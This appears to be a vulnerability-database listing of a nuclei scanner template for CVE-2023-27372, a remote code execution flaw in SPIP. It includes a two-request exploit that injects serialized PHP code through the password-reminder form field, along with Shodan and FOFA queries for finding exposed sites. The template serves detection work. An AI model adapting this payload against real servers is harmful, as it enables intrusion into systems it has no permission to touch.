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SPIP - Remote Command Execution

🗓️ 29 Jun 2026 05:52:57Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 474 Views

SPIP Remote Command Execution allows RCE via mishandled serialization, impacting versions 3.2.18, 4.0.10, 4.1.8, and 4.2.1

Related
Refs
Code
id: CVE-2023-27372

info:
  name: SPIP - Remote Command Execution
  author: DhiyaneshDK,nuts7
  severity: critical
  description: |
    SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of SPIP.
  reference:
    - https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27372
    - https://github.com/nuts7/CVE-2023-27372
    - http://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
    - http://packetstormsecurity.com/files/173044/SPIP-4.2.1-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27372
    epss-score: 0.99637
    epss-percentile: 0.99947
    cpe: cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: spip
    product: spip
    shodan-query:
      - html:"spip.php?page=backend"
      - http.html:"spip.php?page=backend"
      - cpe:"cpe:2.3:a:spip:spip"
    fofa-query: body="spip.php?page=backend"
  tags: cve,cve2023,packetstorm,spip,rce,vkev,vuln

http:
  - raw:
      - |
        GET /spip.php?page=spip_pass HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /spip.php?page=spip_pass HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:"<?php phpinfo(); ?>";

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "PHP Extension"
          - "PHP Version"
          - "<!DOCTYPE html"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - "name='formulaire_action_args'[^>]*value='([^']*)'"
        internal: true
        part: body_1

      - type: regex
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
        part: body_2
# digest: 4a0a00473045022029777393844b5b0d5295003dc5a1f14c7c5edaf416aab278be2daf8ba1a9d9e2022100a819d6b61c4cccb34b3daaee8396550f597ec32376f4e9a782840823d4689fc7:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
EPSS0.99637
SSVC
474